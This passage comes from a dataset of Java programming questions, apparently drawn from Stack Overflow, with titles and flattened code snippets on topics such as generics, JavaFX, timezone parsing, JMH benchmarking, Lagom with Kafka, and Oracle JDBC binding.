) { Executor executor = Executors.newSingleThreadExecutor ( ) ; executor.execute ( r1 ) ; executor.execute ( r2 ) ; }",Java newSingleThreadExecutor garbage collection +Java,"I am new to generics . You can see I am repeating some code after knowing the exact type of val , filterSmall , filterGreat . I want to write generic code for comparing val against filter values . I could write something like this but at compile time , java would n't know if the < = operator is valid for type T.I do n't want to repeat the code , so how can I achieve that ?","private < T > boolean compareAgainstFilters ( T val , T filterSmall , T filterGreat ) { if ( ! ( filterSmall ! = null & & filterSmall < = val ) ) { return true ; } if ( ! ( filterGreat ! = null & & val < = filterGreat ) ) { return true ; } return true ; } if ( value ! = null ) { switch ( value.getClass ( ) .getName ( ) ) { case `` java.lang.Long '' : Long filterSmall = ( Long ) filterSmaller ; Long filterGreat = ( Long ) filterGreater ; Long val = ( Long ) value ; if ( ! ( filterSmall ! = null & & filterSmall < = val ) ) { return true ; } if ( ! ( filterGreat ! = null & & val < = filterGreat ) ) { return true ; } break ; case `` java.lang.Float '' : Float filterSmallFloat = ( Float ) filterSmaller ; Float filterGreatFloat = ( Float ) filterGreater ; Float valFloat = ( Float ) value ; if ( ! ( filterSmallFloat ! = null & & filterSmallFloat < = valFloat ) ) { return true ; } if ( ! ( filterGreatFloat ! = null & & valFloat < = filterGreatFloat ) ) { return true ; } } }",Java Generic code +Java,"The homework problem asks to call `` find '' and `` find2 '' with each digit of the following array . However , I am stuck because I do n't understand what the code is doing in the first place . Taken from the text , this program `` tests the algorithm for 100 elements with a 'locality ' set that comprises 20 % of the elements and 30 % of the references . `` What I 'm told is that : I 'm supposed to change the current for-loop bodiesI must print out the array that is searched ( with the searched digits moved to an earlier position ) .What I 'm asking for is an explanation of the following . Then I can go on to actually manipulating the code.What exactly is find2 doing ? What 's going on inside the for-loops in which find and find2 are called ? How are the counts 4286 and 3903 ( as seen in the Output ) obtained ? ( this may end up being answered in one of the previous questions ) Code : Output : Any assistance is most appreciated . Also , please let me know if there 's anything wrong with the way I asked this question , as it is my first.Edit : I tried the following modifications , and the output has changed . But without understanding what the code is doing , I do n't exactly know the underlying effects .","{ 9,0,0,6,3,9,2,4,5,9,0,0,6,3,9,2,4,5,9,0,0,6,3,9,2,4,5 } //A given set repeated 3 times private static int x [ ] =new int [ 100 ] ; public static void main ( String [ ] args ) { Random r=new Random ( 17 ) ; //Making the array// for ( int i=0 ; i < x.length ; i++ ) x [ i ] =x.length-i ; System.out.println ( Arrays.toString ( x ) ) ; r.setSeed ( 17 ) ; // straight search for ( int i=0 ; i < x.length*1 ; i++ ) { float p=r.nextFloat ( ) ; int j= ( int ) ( p*79 ) ; if ( p < 0.3 ) find ( j % 20+1 ) ; else find ( j+21 ) ; } System.out.println ( n+ '' `` +count ) ; //identical but self-organizing r.setSeed ( 17 ) ; count=0 ; n=0 ; for ( int i=0 ; i < x.length*1 ; i++ ) { float p=r.nextFloat ( ) ; int j= ( int ) ( p*79 ) ; if ( p < 0.3 ) find2 ( j % 20+1 ) ; else find2 ( j+21 ) ; } System.out.println ( Arrays.toString ( x ) ) ; System.out.println ( n+ '' `` +count ) ; } //Findprivate static int find ( int target ) { for ( int i=0 ; i < x.length ; i++ ) if ( x [ i ] ==target ) { count+=i ; n++ ; return i ; } return -1 ; } static int count=0 , n=0 ; static final int NEAR=100/10 ; //Find2private static int find2 ( int target ) { for ( int i=0 ; i < x.length ; i++ ) if ( x [ i ] ==target ) { count+=i ; n++ ; if ( i > NEAR ) { //swap to NEAR x [ i ] =x [ NEAR ] ; x [ NEAR ] =target ; } else if ( i ! =0 ) { //swap with predecessor x [ i ] =x [ i-1 ] ; x [ i-1 ] =target ; } return i ; } return -1 ; } [ 100 , 99 , 98 , 97 , 96 , 95 , 94 , 93 , 92 , 91 , 90 , 89 , 88 , 87 , 86 , 85 , 84 , 83 , 82 , 81 , 80 , 79 , 78 , 77 , 76 , 75 , 74 , 73 , 72 , 71 , 70 , 69 , 68 , 67 , 66 , 65 , 64 , 63 , 62 , 61 , 60 , 59 , 58 , 57 , 56 , 55 , 54 , 53 , 52 , 51 , 50 , 49 , 48 , 47 , 46 , 45 , 44 , 43 , 42 , 41 , 40 , 39 , 38 , 37 , 36 , 35 , 34 , 33 , 32 , 31 , 30 , 29 , 28 , 27 , 26 , 25 , 24 , 23 , 22 , 21 , 20 , 19 , 18 , 17 , 16 , 15 , 14 , 13 , 12 , 11 , 10 , 9 , 8 , 7 , 6 , 5 , 4 , 3 , 2 , 1 ] 100 4286 [ 99 , 100 , 97 , 96 , 98 , 92 , 93 , 91 , 94 , 95 , 5 , 84 , 56 , 46 , 86 , 52 , 83 , 87 , 49 , 82 , 3 , 78 , 45 , 53 , 44 , 75 , 74 , 6 , 2 , 71 , 85 , 69 , 18 , 7 , 19 , 68 , 64 , 81 , 62 , 12 , 88 , 16 , 4 , 57 , 90 , 61 , 55 , 70 , 63 , 51 , 50 , 73 , 48 , 47 , 1 , 89 , 79 , 43 , 42 , 41 , 40 , 39 , 38 , 37 , 36 , 35 , 34 , 33 , 32 , 31 , 30 , 29 , 28 , 27 , 26 , 25 , 24 , 23 , 22 , 21 , 20 , 65 , 80 , 17 , 58 , 15 , 14 , 13 , 72 , 11 , 10 , 9 , 8 , 67 , 66 , 54 , 59 , 77 , 60 , 76 ] 100 3903 private static int y [ ] = { 9,0,0,6,3,9,2,4,5,9,0,0,6,3,9,2,4,5,9,0,0,6,3,9,2,4,5 } ; //placed right under x [ ] for ( int j=0 ; j < y.length ; j++ ) find ( y [ j ] ) ; //for the 'straight search ' for-loop bodyfor ( int j=0 ; j < y.length ; j++ ) find2 ( y [ j ] ) ; //for the 'self-organizing ' for-loop body",Self-Organizing Search Program +Java,"I have a simple test in a Spring application , which has default timezone set to UTC : And , this simple test : ( The test class is annotated with @ SpringBootTest to load the configuration in main class and @ SpringRunner is applied , too ) I have output : Now , why the fourth line has the value correct , but the timezone is wrong ? It should be Europe/Madrid . And the offset ( which is deprecated in Java 8 , OK I can forgive it ) , it should be +0200 , not 0.It is UTC because when converting to string in log.info ( ) , slf4j is interferring ? ? ? ? Or what ? I do n't think so because System.out.println ( ) gives me UTC too.I know I should use OffsetDateTime , but it is legacy and we can not change all fields of date to that , for now . I want to know why Java parsed it wrongly.What is the effect of Timezone.getDefault ( ) when parsing with SimpleDateFormat ? And what is that of f.getTimezone ( ) ? They seem to act in different part of the process ... ..I ask this question , because internally Jackson uses SimpleDateFormat to process date string/formatting dates . Does the config on an ObjectMapper affect the SimpleDateFormat that the mapper uses ?","@ SpringBootApplicationpublic class MemberIntegrationApp { @ Autowired private TimeZoneProperties timeZoneProperties ; @ PostConstruct void started ( ) { TimeZone.setDefault ( TimeZone.getTimeZone ( timeZoneProperties.getAppDefault ( ) ) ) ; // which is UTC } public static void main ( String [ ] args ) { SpringApplication.run ( MemberIntegrationApp.class , args ) ; } } /** * Test the effect of setting timezone */ @ Testpublic void testTimezoneSettingOnSimpleDateFormat ( ) throws ParseException { SimpleDateFormat f = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss '' ) ; String d = `` 2018-08-08 12:34:56 '' ; log.info ( `` Trying to parse the date string : { } '' , d ) ; Date result = f.parse ( d ) ; log.info ( `` The result should be 12:34 UTC : { } '' , result ) ; f.setTimeZone ( TimeZone.getTimeZone ( `` UTC '' ) ) ; result = f.parse ( d ) ; log.info ( `` The result should be 12:34 UTC : { } '' , result ) ; f.setTimeZone ( TimeZone.getTimeZone ( `` Europe/Madrid '' ) ) ; result = f.parse ( d ) ; log.info ( `` The result should be 10:34 CEST : { } '' , result ) ; log.info ( `` Now the offset ( depre ) : { } '' , result.getTimezoneOffset ( ) ) ; } Trying to parse the date string : 2018-08-08 12:34:56The result should be 12:34 UTC : Wed Aug 08 12:34:56 UTC 2018The result should be 12:34 UTC : Wed Aug 08 12:34:56 UTC 2018The result should be 10:34 CEST : Wed Aug 08 10:34:56 UTC 2018Now the offset ( depre ) : 0",SimpleDateFormat with Timezone set gets correct value but wrong zone +Java,"I have a JFrame with 2 JPanel in it : a PaintPanel ( with a paint ( ) method ) and a ButtonPanel ( with buttons ) . When I invoke the repaint ( ) of the PaintPanel ( but clicking the button ) the button of the ButtonPanel is being painted in the PaintPanel ! It is n't clickable or anything , it is just there . I tried to recreate the problem with this code : This sould recreate the problem I have ( sorry for the odd code markings , ca n't seem to get it right ) . I really hope one of you knows what is happening here because i do n't ...","public class Main { public static void main ( String [ ] args ) { JFrame frame = new JFrame ( `` frame '' ) ; frame.setSize ( 400,400 ) ; frame.setLayout ( new GridLayout ( 2,1 ) ) ; PaintPanel paint = new PaintPanel ( ) ; ButtonPanel buttons = new ButtonPanel ( paint ) ; frame.add ( paint ) ; frame.add ( buttons ) ; frame.setVisible ( true ) ; } } public class PaintPanel extends JPanel { public void paint ( Graphics g ) { g.drawRect ( 10 , 10 , 10 , 10 ) ; } } public class ButtonPanel extends JPanel implements ActionListener { private PaintPanel paintPanel ; public ButtonPanel ( PaintPanel paintPanel ) { this.paintPanel=paintPanel ; JButton button = new JButton ( `` button '' ) ; button.addActionListener ( this ) ; add ( button ) ; } @ Override public void actionPerformed ( ActionEvent arg0 ) { paintPanel.repaint ( ) ; } }",JButton copied when repainting ? +Java,I 'm just starting out on android and my java is verry rusty . I ca n't remember ever seeing a function nested in another function like this before . Could somebody explain to me exactly what final does and explain why you would nest a function in another like this ?,"private final Handler handler = new Handler ( ) { @ Override public void handleMessage ( final Message msg ) { Log.v ( Constants.LOGTAG , `` `` + ReviewList.CLASSTAG + `` worker thread done , setup ReviewAdapter '' ) ; progressDialog.dismiss ( ) ; if ( ( reviews == null ) || ( reviews.size ( ) == 0 ) ) { empty.setText ( `` No Data '' ) ; } else { reviewAdapter = new ReviewAdapter ( ReviewList.this , reviews ) ; setListAdapter ( reviewAdapter ) ; } } } ;",Can Somebody Explain this java code +Java,"On Java 1.8 , you do n't have to define a field as final to it be acessed from anonymous classes.For example , on older versions : But , now , on Java 1.8 , bar does not need to be final : So , if I compile my project , and the only resource implemented on Java 1.8 I 'm using is this ( I 'm not using any lambdas , new classes , etc ) , will my code be executable on computers with older Java versions ? If not , why ?",public void foo ( final int bar ) { new Runnable ( ) { public void run ( ) { System.out.println ( bar ) ; } } ; } public void foo ( int bar ) { new Runnable ( ) { public void run ( ) { System.out.println ( bar ) ; } } ; },Anonymous classes field accessing on Java 1.8 compatibility with older versions +Java,"As an additional question to an assignment , we were asked to find the 10 starting numbers ( n ) that produce the longest collatz sequence . ( Where 0 < n < 10,000,000,000 ) I wrote code that would hopefully accomplish this , but I estimate that it would take a full 11 hours to compute an answer . I have noticed a couple of small optimisations like starting from biggest to smallest so adding to the array is done less , and only computing between 10,000,000,000/2^10 ( =9765625 ) and 10,000,000,000 because there has to be 10 sequences of longer length , but I ca n't see anything more I could do . Can anyone help ? Relevant CodeThe Sequence Searching AlgThe storage alg","long [ ] [ ] longest = new long [ 2 ] [ 10 ] ; //terms/starting numberlong max = 10000000000l ; //10 billionfor ( long i = max ; i > = 9765625 ; i -- ) { long n = i ; long count = 1 ; //terms in the sequence while ( n > 1 ) { if ( ( n & 1 ) == 0 ) n /= 2 ; //checks if the last bit is a 0 else { n = ( 3*n + 1 ) /2 ; count++ ; } count++ ; } if ( count > longest [ 0 ] [ 9 ] ) { longest = addToArray ( count , i , longest ) ; currentBest ( longest ) ; //prints the currently stored top 10 } } public static long [ ] [ ] addToArray ( long count , long i , long [ ] [ ] longest ) { int pos = 0 ; while ( count < longest [ 0 ] [ pos ] ) { pos++ ; } long TEMP = count ; //terms long TEMPb = i ; //starting number for ( int a = pos ; a < longest [ 0 ] .length ; a++ ) { long TEMP2 = longest [ 0 ] [ a ] ; longest [ 0 ] [ a ] = TEMP ; TEMP = TEMP2 ; long TEMP2b = longest [ 1 ] [ a ] ; longest [ 1 ] [ a ] = TEMPb ; TEMPb = TEMP2b ; } return longest ; }",collatz sequence - optimising code +Java,"The JavaFX Application Thread throws a StringIndexOutOfBoundsException if the user pastes a tab character into a TextField . How can I smartly prevent a user from breaking my application in this way ? Here 's a minimal example that demonstrates the behavior.Defined in MainView.fxml : Procedure : Copy a tab character ( \t ) to the clipboardType something into the TextFieldHighlight the text in the TextFieldPaste the contents of the clipboard to replace the highlighted textThe exception occurs whether the user uses the keyboard shortcut ( Ctrl+V in Windows ) or the context menu . I certainly could add a try-catch block to every TextField , but that would clutter up the code , and how do I know that this exception is only thrown in this one situation ? Note : This is issue does not appear to affect TextAreaFull text of the exception :",//Defined in Main.javapublic class Main extends Application { @ Override public void start ( Stage primaryStage ) { try { AnchorPane root = ( AnchorPane ) FXMLLoader .load ( getClass ( ) .getResource ( `` MainView.fxml '' ) ) ; primaryStage.setScene ( new Scene ( root ) ) ; primaryStage.show ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } public static void main ( String [ ] args ) { launch ( args ) ; } } < AnchorPane xmlns= '' http : //javafx.com/javafx/8 '' xmlns : fx= '' http : //javafx.com/fxml/1 '' > < children > < TextField fx : id= '' tf '' / > < /children > < /AnchorPane > Exception in thread `` JavaFX Application Thread '' java.lang.StringIndexOutOfBoundsException : String index out of range : 1at java.lang.AbstractStringBuilder.substring ( Unknown Source ) at java.lang.StringBuilder.substring ( Unknown Source ) at javafx.scene.control.TextField $ TextFieldContent.get ( Unknown Source ) at javafx.scene.control.TextInputControl.getText ( Unknown Source ) at javafx.scene.control.TextInputControl.updateContent ( Unknown Source ) at javafx.scene.control.TextInputControl.replaceText ( Unknown Source ) at javafx.scene.control.TextInputControl.replaceText ( Unknown Source ) at javafx.scene.control.TextInputControl.replaceSelection ( Unknown Source ) at javafx.scene.control.TextInputControl.paste ( Unknown Source ) at com.sun.javafx.scene.control.behavior.TextInputControlBehavior.paste ( Unknown Source ) at com.sun.javafx.scene.control.behavior.TextInputControlBehavior.callAction ( Unknown Source ) at com.sun.javafx.scene.control.behavior.BehaviorBase.callActionForEvent ( Unknown Source ) at com.sun.javafx.scene.control.behavior.TextInputControlBehavior.callActionForEvent ( Unknown Source ) at com.sun.javafx.scene.control.behavior.BehaviorBase.lambda $ new $ 74 ( Unknown Source ) at com.sun.javafx.event.CompositeEventHandler $ NormalEventHandlerRecord.handleBubblingEvent ( Unknown Source ) at com.sun.javafx.event.CompositeEventHandler.dispatchBubblingEvent ( Unknown Source ) at com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent ( Unknown Source ) at com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent ( Unknown Source ) at com.sun.javafx.event.CompositeEventDispatcher.dispatchBubblingEvent ( Unknown Source ) at com.sun.javafx.event.BasicEventDispatcher.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.BasicEventDispatcher.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.BasicEventDispatcher.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent ( Unknown Source ) at com.sun.javafx.event.EventUtil.fireEventImpl ( Unknown Source ) at com.sun.javafx.event.EventUtil.fireEvent ( Unknown Source ) at javafx.event.Event.fireEvent ( Unknown Source ) at javafx.scene.Scene $ KeyHandler.process ( Unknown Source ) at javafx.scene.Scene $ KeyHandler.access $ 1800 ( Unknown Source ) at javafx.scene.Scene.impl_processKeyEvent ( Unknown Source ) at javafx.scene.Scene $ ScenePeerListener.keyEvent ( Unknown Source ) at com.sun.javafx.tk.quantum.GlassViewEventHandler $ KeyEventNotification.run ( Unknown Source ) at com.sun.javafx.tk.quantum.GlassViewEventHandler $ KeyEventNotification.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at com.sun.javafx.tk.quantum.GlassViewEventHandler.lambda $ handleKeyEvent $ 353 ( Unknown Source ) at com.sun.javafx.tk.quantum.QuantumToolkit.runWithoutRenderLock ( Unknown Source ) at com.sun.javafx.tk.quantum.GlassViewEventHandler.handleKeyEvent ( Unknown Source ) at com.sun.glass.ui.View.handleKeyEvent ( Unknown Source ) at com.sun.glass.ui.View.notifyKey ( Unknown Source ) at com.sun.glass.ui.win.WinApplication._runLoop ( Native Method ) at com.sun.glass.ui.win.WinApplication.lambda $ null $ 148 ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ),Breaking JavaFX when Tab character is pasted into TextField +Java,"I 'm playing with jmh and in the section about looping they said that You might notice the larger the repetitions count , the lower the `` perceived '' cost of the operation being measured . Up to the point we do each addition with 1/20 ns , well beyond what hardware can actually do . This happens because the loop is heavily unrolled/pipelined , and the operation to be measured is hoisted from the loop . Morale : do n't overuse loops , rely on JMH to get the measurement right.I tried it myselfand got the following result : It indeed shows that the MyBenchmark.measurewrong_1000 is dramatically faster than MyBenchmark.measurewrong_1 . But I can not really understand the optimization JVM does to make this performance improvement . What do they mean the loop is unrolled/pipelined ?",@ Benchmark @ OperationsPerInvocation ( 1 ) public int measurewrong_1 ( ) { return reps ( 1 ) ; } @ Benchmark @ OperationsPerInvocation ( 1000 ) public int measurewrong_1000 ( ) { return reps ( 1000 ) ; } Benchmark Mode Cnt Score Error UnitsMyBenchmark.measurewrong_1 avgt 15 2.425 ± 0.137 ns/opMyBenchmark.measurewrong_1000 avgt 15 0.036 ± 0.001 ns/op,Understanding loops performance in jvm +Java,"I was just reading some java book and making some small programs for practice , I created a small code to get information about the path I entered , and the code is : Now in the input dialogue , when I enter C : , the result is build , build.xml , manifest.mf , nbproject , src , but when I enter C : / , it shows the complete list of directories and files in C.And strangely it does not happen with the D drive and other drives ( i.e . the result is same for D : / and D : ) , what is happening please explain ? UpdateSame happens in WPF using C # !","String path = JOptionPane.showInputDialog ( `` Enter Path to analyze '' ) ; File file = new File ( path ) ; if ( file.exists ( ) ) { String result = `` '' ; if ( file.isDirectory ( ) ) { result += `` Path is directory\n `` ; String [ ] resList = file.list ( ) ; for ( String s : resList ) { result += s + `` , `` ; } } if ( file.isFile ( ) ) { result += `` Path is a file\n '' ; } JOptionPane.showMessageDialog ( null , result ) ;",Difference between C : and C : / +Java,"I have an annotation processor library that I would like to get working for Kotlin , however I have hit a snag in terms of my unit testing . I would really appreciate if someone could give me some advice.My current unit testing implementation uses Google 's compile-testing library . I create input and output classes and store them in the resources directory . Then during the unit test , the compile-testing library compiles the input java class , executes the annotation processor and then compares the generated classes against the expected output class from the resources directory.Here is an example ( from my project ) of what I am referring to : Unit test classResources ( Input and expected output classesThis is working great for all my current java based unit tests . However when I attempt to write some tests using Kotlin classes , my test fails to load the class.I believe this is due to the compile-testing library being first and foremost a Java specific library ( I do n't see any mention of Kotlin on their project ) At the moment I get the following issue : The problem is fairly obvious that the incorrect compiler is being used . The exception itself is thrown when my file extension is not '.java ' . If I attempt to load a Kotlin class with the '.java ' file extension , it does n't work since it is not correct Java syntax.Has anyone come across this issue before and solved it ? I have had a look at a few other annotation processors ( such as DBFlow ) , and they do not write unit tests in this manner.Since Kotlin is only recently dabbling in annotation processing , perhaps I am the first to have this problem ?",java.lang.IllegalArgumentException : Compilation unit is not of SOURCE kind : `` /C : /dev/gsonpath/gsonpath-compiler/build/resources/test/adapter/auto/field_types/primitives/valid/TestValidPrimitives.kt '' at com.sun.tools.javac.api.JavacTool.getTask ( JavacTool.java:137 ) at com.sun.tools.javac.api.JavacTool.getTask ( JavacTool.java:107 ) at com.sun.tools.javac.api.JavacTool.getTask ( JavacTool.java:64 ) at com.google.testing.compile.Compilation.compile ( Compilation.java:69 ) at com.google.testing.compile.JavaSourcesSubject $ CompilationClause.compilesWithoutError ( JavaSourcesSubject.java:281 ),Java annotation processor - Annotated Kotlin classes unit tests +Java,"This test shows ~50ms for Arrays.copyOf and ~160 ms for clone . Clone is a special native method for making copies , why is it so slow ? I ran the test on my HotSpot Client JVM 1.7.0_11-b21 . Note that when the array increases in size , the difference between clone and copyOf disappears .","for ( ; ; ) { int [ ] a = new int [ 10 ] ; System.gc ( ) ; long t0 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < 1000000 ; i++ ) { // int [ ] b = a.clone ( ) ; int [ ] b = Arrays.copyOf ( a , a.length ) ; } System.out.println ( System.currentTimeMillis ( ) - t0 ) ; }",Why is cloning arrays so slow ? +Java,"Why are the implementations of the static method compare for Long , Integer and Short in Java 's library different ? For Long : For Integer : For Short :","public static int compare ( long x , long y ) { return ( x < y ) ? -1 : ( ( x == y ) ? 0 : 1 ) ; } public static int compare ( int x , int y ) { return ( x < y ) ? -1 : ( ( x == y ) ? 0 : 1 ) ; } public static int compare ( short x , short y ) { return x - y ; }","Different implementations of compare method for Long , Integer and Short ?" +Java,"I am trying to figure out how Lagom can be used to consume data from external systems communicating over Kafka.I 've ran into this section of Lagom documentation , which describes how Lagom service can communicate with another Lagom service by subscribing to its topic.However , what is the appropriate configuration when you want to subscribe to a Kafka topic that contains events produced by some random , external system ? Is some sort of adapter needed for this functionality ? To clarify , I have this at the moment : And I can invoke it via simple POST request.However , I would like for it to be invoked by consuming Data messages from some ( external ) Kafka topic.I was wondering if there is such a way to configure the descriptor in a fashion similar to this mockup : I 've ran into this discussion on Google Groups , but in the OPs questions , I do not see he is actually doing anything with EventMessages coming from some-topic except routing them to the topic defined by his service.EDIT # 1 : Progress updateLooking at the documentation , I decided to try the following approach.I added 2 more modules , aggregator-kafka-proxy-api and aggregator-kafka-proxy-impl.In new api module , I defined a new service , with no methods , but one topic which would represent my Kafka topic : In the impl module , I simply did the standard implementationNow , to actually consume these events , in my aggregator-impl module , I added a `` subscriber '' service , which takes these events , and invokes appropriate commands on entity.This effectively allowed me to publish a message on Kafka topic `` data-in '' , which was then proxied and converted to RecordData command before issued to the entity to consume.However , it seems somewhat hacky to me . I am coupled to Kafka by Lagom internals . I can not swap the source of my data easily . For example , how would I consume external messages from RabbitMQ if I wanted to ? What if I 'm trying to consume from another Kafka ( different one than used by Lagom ) ? Edit # 2 : More docsI 've found a few articles on Lagom docs , notably , this : Consuming Topics from 3rd parties You may want your Lagom service to consume data produced on services not implemented in Lagom . In that case , as described in the Service Clients section , you can create a third-party-service-api module in your Lagom project . That module will contain a Service Descriptor declaring the topic you will consume from . Once you have your ThirdPartyService interface and related classes implemented , you should add third-party-service-api as a dependency on your fancy-service-impl . Finally , you can consume from the topic described in ThirdPartyService as documented in the Subscribe to a topic section .","helloService .greetingsTopic ( ) .subscribe // < -- you get back a Subscriber instance .atLeastOnce ( Flow.fromFunction ( doSomethingWithTheMessage ) ) object Aggregator { val TOPIC_NAME = `` my-aggregation '' } trait Aggregator extends Service { def aggregate ( correlationId : String ) : ServiceCall [ Data , Done ] def aggregationTopic ( ) : Topic [ DataRecorded ] override final def descriptor : Descriptor = { import Service._ named ( `` aggregator '' ) .withCalls ( pathCall ( `` /api/aggregate/ : correlationId '' , aggregate _ ) ) .withTopics ( topic ( Aggregator.TOPIC_NAME , aggregationTopic ( ) ) .addProperty ( KafkaProperties.partitionKeyStrategy , PartitionKeyStrategy [ DataRecorded ] ( _.sessionData.correlationId ) ) ) .withAutoAcl ( true ) } } override final def descriptor : Descriptor = { ... kafkaTopic ( `` my-input-topic '' ) .subscribe ( serviceCall ( aggregate _ ) .withAtMostOnceDelivery } object DataKafkaPublisher { val TOPIC_NAME = `` data-in '' } trait DataKafkaPublisher extends Service { def dataInTopic : Topic [ DataPublished ] override final def descriptor : Descriptor = { import Service._ import DataKafkaPublisher._ named ( `` data-kafka-in '' ) .withTopics ( topic ( TOPIC_NAME , dataInTopic ) .addProperty ( KafkaProperties.partitionKeyStrategy , PartitionKeyStrategy [ SessionDataPublished ] ( _.data.correlationId ) ) ) .withAutoAcl ( true ) } } class DataKafkaPublisherImpl ( persistentEntityRegistry : PersistentEntityRegistry ) extends DataKafkaPublisher { override def dataInTopic : Topic [ api.DataPublished ] = TopicProducer.singleStreamWithOffset { fromOffset = > persistentEntityRegistry.eventStream ( KafkaDataEvent.Tag , fromOffset ) .map ( ev = > ( convertEvent ( ev ) , ev.offset ) ) } private def convertEvent ( evt : EventStreamElement [ KafkaDataEvent ] ) : api.DataPublished = { evt.event match { case DataPublished ( data ) = > api.DataPublished ( data ) } } } class DataKafkaSubscriber ( persistentEntityRegistry : PersistentEntityRegistry , kafkaPublisher : DataKafkaPublisher ) { kafkaPublisher.dataInTopic.subscribe.atLeastOnce ( Flow [ DataPublished ] .mapAsync ( 1 ) { sd = > sessionRef ( sd.data.correlationId ) .ask ( RecordData ( sd.data ) ) } ) private def sessionRef ( correlationId : String ) = persistentEntityRegistry.refFor [ Entity ] ( correlationId ) }",Lagom service consuming input from Kafka +Java,"I made my first game in Java - Snake , it 's main loop looks like this But in my project 's requirments there is a responsivity point , so I need to change the Thread.sleep ( ) into something else , but I have no idea how to do this in an easy way.Thanks in advance for any advice .",while ( true ) { long start = System.nanoTime ( ) ; model.eUpdate ( ) ; if ( model.hasElapsedCycle ( ) ) { model.updateGame ( ) ; } view.refresh ( ) ; long delta = ( System.nanoTime ( ) - start ) / 1000000L ; if ( delta < model.getFrameTime ( ) ) { try { Thread.sleep ( model.getFrameTime ( ) - delta ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } },Java Snake Game avoiding using Thread.sleep +Java,"I have a table created on mysql with following sqlWhile trying to generate its model using hibernate persistence tool in intellij , if I check on show default relationships I get the following error , can anyone help me out in understanding this . I tried googling but no solution found","CREATE TABLE ` ssk_cms_category_transaction_type_relation ` ( ` categoryId ` int ( 11 ) NOT NULL , ` typeId ` int ( 11 ) NOT NULL , ` createdTime ` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP , PRIMARY KEY ( ` categoryId ` , ` typeId ` ) , KEY ` FK_ssk_cms_category_transaction_type_relation1 ` ( ` typeId ` ) , CONSTRAINT ` FK_ssk_cms_category_transaction_type_relation ` FOREIGN KEY ( ` categoryId ` ) REFERENCES ` ssk_cms_content_category ` ( ` contentCategoryId ` ) ON DELETE CASCADE ON UPDATE CASCADE , CONSTRAINT ` FK_ssk_cms_category_transaction_type_relation1 ` FOREIGN KEY ( ` typeId ` ) REFERENCES ` ssk_transaction_type ` ( ` typeId ` ) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=latin1",Relationship References disbled table while generating model through intellij hibernate persistence tool +Java,I have the following in my top class working like a charm : When i try to extend populate ( ) in my subclass i basically want the same method only here i want things ordered so i will pull each Vector in a quicksort method but i dont get any other problems apart from : // ERROR : Can not convert from element Object to EDIT : Should i have to implement Iterator for TestA ?,"public class TestA < E extends Test > { List < Vector < E > > list ; String name , location ; TestA ( String name , String location ) { this.name = name ; this.location = location ; list = new ArrayList < Vector < E > > ( ) ; } void populate ( Test [ ] arr ) { for ( Vector < E > vk : list ) { // Code here ... } } } class OrderedTest < E extends Test > extends TestA { OrderedTest ( String name , String location ) { super ( name , location ) ; } void populate ( Test [ ] arr ) { for ( Vector < E > vk : list ) // ERROR : Can not convert from element Object to Vector < E > { // Code here ... } } }",Java can not access top class property in subclass 's redefined method +Java,"I have a SP like thiswhere mycol is char ( 1 byte ) From java code , I try to bind a String/Character to this variable and I get ORA-01461 - can bind a LONG value only for insert into a LONG columnif I replace with then it worksany idea on how to properly bind the value from the Java code ? I really would like to keep using % type for stored procedure input paramsps . this is not dup of ORA-01461 : can bind a LONG value only for insert into a LONG column-Occurs when querying because it refers to a char ( 1 ) columnUPDATEAdding more info to thisthe code above works ( however it sounds terribly wrong ) table isSP isIf I use thisit also works HOWEVER it throws an exception like thisInfo about oracle driverInfo about Oracle DBInfo about DB charsetMy java LOCALE info as requested , was generated using this codewhich prints English United States en US US enFirst I do n't want to use any deprecated code.Second I do n't want any de-allocation exception.Third changing the DB and the SP are not options ( why they should anyway ? ) ps . I think it may be related to https : //support.oracle.com/knowledge/Middleware/370438_1.html unfortunately I do n't have access to this repositoryThanks in advance","create or replace PROCEDURE myproc myvar in out mytable.mycol % TYPE myvar in out varchar2 import java.sql.CallableStatement ; import java.sql.Clob ; import java.sql.Connection ; import java.sql.ResultSet ; import java.sql.SQLException ; import java.sql.Types ; import oracle.jdbc.pool.OracleDataSource ; public class SimpleDbStandalonePureJdbcTest { public static void main ( String [ ] args ) throws SQLException { OracleDataSource ods = new OracleDataSource ( ) ; ods.setUser ( `` xxx '' ) ; ods.setPassword ( `` xxx '' ) ; ods.setServerName ( `` xxx '' ) ; ods.setPortNumber ( xxx ) ; ods.setDriverType ( `` thin '' ) ; ods.setNetworkProtocol ( `` tcp '' ) ; ods.setDatabaseName ( `` xxx '' ) ; Connection conn = ods.getConnection ( ) ; CallableStatement sp = conn.prepareCall ( `` { call testleosp ( ? ) } `` ) ; Clob clob = conn.createClob ( ) ; clob.setString ( 1 , `` b '' ) ; sp.setClob ( 1 , clob ) ; sp.registerOutParameter ( 1 , Types.CLOB ) ; boolean hadResults = sp.execute ( ) ; while ( hadResults ) { ResultSet rs = sp.getResultSet ( ) ; System.out.println ( rs.getClob ( 1 ) ) ; hadResults = sp.getMoreResults ( ) ; } } } create table testleo ( col1 char ( 1 byte ) ) create or replace PROCEDURE testleosp ( io_col IN OUT testleo.col1 % TYPE ) ISBEGIN INSERT INTO testleo ( col1 ) VALUES ( io_col ) ; COMMIT WORK ; END ; import java.io.IOException ; import java.io.Reader ; import java.sql.CallableStatement ; import java.sql.Clob ; import java.sql.Connection ; import java.sql.SQLException ; import java.sql.Types ; import java.util.HashMap ; import java.util.Map ; import javax.sql.DataSource ; import org.jboss.jca.adapters.jdbc.WrappedConnection ; import org.springframework.jdbc.core.SqlInOutParameter ; import org.springframework.jdbc.core.SqlReturnType ; import org.springframework.jdbc.core.support.SqlLobValue ; import org.springframework.jdbc.object.StoredProcedure ; import 